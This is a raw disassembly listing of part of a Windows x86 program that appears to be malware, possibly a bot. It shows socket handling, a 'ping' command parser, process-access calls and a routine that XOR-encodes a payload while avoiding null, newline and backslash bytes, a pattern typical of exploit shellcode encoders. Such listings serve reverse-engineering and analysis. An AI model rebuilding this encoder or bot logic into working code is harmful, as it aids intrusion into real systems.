		call	sub_4013CA
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510114
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510114, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C4C
		mov	edi, edx
		mov	byte_446C59, bl
		mov	byte_446C5D, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C34
		mov	edi, edx
		mov	word_446C42, bx
		mov	byte_446C47, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B18B[eax*4], ecx
		mov	dword_44B18F[eax*4], ecx
		mov	dword_44B193[eax*4], ecx
		mov	dword_44B197[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	byte_44AF8B[eax*4], cl
		mov	byte_44B1A3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B19F[esi*4]
		push	eax
		nop
		call	near ptr 2790944h
		cmp	dword_44B19F[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B19F[esi*4], ebx
		mov	dword_44B18B[esi*4], ebx
		mov	dword_44B18F[esi*4], ebx
		mov	eax, dword_44B193[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B193[esi*4], ebx
		mov	byte_44AF8B[esi*4], bl
		mov	byte_44B1A3[esi*4], bl
		mov	ecx, dword_44B197[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_44B197[esi*4], ebx
		mov	edx, dword_44B19B[esi*4]
		lea	esi, ds:44B19Bh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B18F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D818F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2720000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		nop
		call	near ptr 27B039Ch
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 28506B2h


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF8B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F8B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9C4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4277B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
